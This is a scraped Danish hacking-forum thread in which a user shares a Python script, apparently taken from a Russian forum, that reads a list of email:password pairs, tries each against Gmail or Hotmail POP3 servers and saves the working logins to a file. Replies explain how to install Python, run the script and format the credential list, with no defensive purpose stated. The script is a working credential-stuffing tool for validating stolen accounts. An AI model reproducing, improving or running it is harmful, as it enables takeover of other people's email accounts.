Shellsec

Fuld version: Accountchecker
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
Sider: 1 2
Fiks lille script til at tjekke gmail og hotmail accounts. Jeg har ikke selv skrevet det, fandt det på et russik forum engang.

Kode:
#!/usr/bin/python
import sys, poplib, os
os.system(['clear','cls'][os.name == 'nt'])
def printHelp():
    print '\nUsage: ./checkIt.py <domain> <emails>'
    print 'Example: ./checkIt.py hotmail emails.txt'
    print 'Example: ./checkIt.py gmail emails.txt'
    print '\nAccounts have to be listed like this: blah@domain.com:password\n'  
print "\n\t "
print   "\t "
print   "\t "
print   "\t "
print   "\t \n\n"

if len(sys.argv) != 3:
    printHelp()
    exit(1)
SAVEFILE = 'valid_emails.txt'
if sys.argv[1] == "hotmail":
    HOST = 'pop3.live.com'
    print HOST
else:
    pass
if sys.argv[1] == "gmail":
    HOST = 'pop.gmail.com'

PORT = 995
maillist = sys.argv[2]
valid = []
currline = 0
try:
    handle = open(maillist)
except:
    print '\n[!] Couldn\'t open email file(check path).'  
    exit(1)
for line in handle:
    currline += 1
    try:
        email = line.split(':')[0]
        password = line.split(':')[1].replace('\n', '')
    except:
        print '\n[!] Bad format at: %d.' % currline
        print '[!]Correct way: blah@hotmail.com:password'
        exit(1)
    try:
        pop = poplib.POP3_SSL(HOST, PORT)
        pop.user(email)
        pop.pass_(password)
        valid.append(email + ':' + password)
        print '[!] %s:%s is working!' % (email, password)
        pop.quit()
    except:
        print '[!] %s:%s is invalid' % (email, password)
        pass
print '\n[!] Total Working: %s' % len(valid)

if len(valid) > 0:
    save = open(SAVEFILE, 'a')
    for email in valid:
        save.write(email + '\n')
    save.close()
    print '[!] Valid E-Mails saved in: ["%s"]' % SAVEFILE
Vil du fortælle hvordan man bruger sådan en script :)

hvilket programmer det kræver osv :)

Du kunne jo opdatere posten :D hvis du har lyst
Man skal bruge python, da det jo er et python script. Man køre det lige som der står i beskrivelsen i starten af scriptet.
det vil sige hvis jeg downloader python og sætter dette script ind og gemmer det fx på skrive bordet..så har jeg et smart lille program :) og er det til linux eller windows, og kan python køre fint på windows
Ja python kan godt kører i Windows
Ser om jeg kan få det til at virke imorgen, er dog ret noobish til Python, så nu må vi se hvordan det går :D
Til dem der ikke helt har forstået beskrivelsen:

gmail emails.txt
Kode:
blah@gmail.com:password\n
blah1@gmail.com:password1\n

Man skal altså have enten en eller to filer med enten navnet 'gmail emails.txt' eller hotmail emails.txt
Men inden I kører det i python kan I jo ændre koden som i vil.
@nuller

Naaaj ikke helt - .txt filer kan hedder hvad som helst. Og hotmail eller gmail anviser bare hvilken host der er tale om. :)
(03-06-2013, 09:03)Spagnum Skrev: [ -> ]@nuller

Naaaj ikke helt - .txt filer kan hedder hvad som helst. Og hotmail eller gmail anviser bare hvilken host der er tale om. :)

Jeg kodede engang en selv, også i Python, men i og med jeg er lort til python så virkede den ikke. Så fik jeg morph til at lappe den for mig :P
Den tjekkede bare endelsen (om det var live.* eller hotmail.*, rocketmail ymail etc.)
(03-06-2013, 10:31)Doctor Blue Skrev: [ -> ]Jeg kodede engang en selv, også i Python, men i og med jeg er lort til python så virkede den ikke. Så fik jeg morph til at lappe den for mig :P
Den tjekkede bare endelsen (om det var live.* eller hotmail.*, rocketmail ymail etc.)

Jeg har faktisk en med GUI liggende kodet af Readbeard fra NH. Men bryder mig ikke rigtig om at dele den uden at havde fået lov.
Sider: 1 2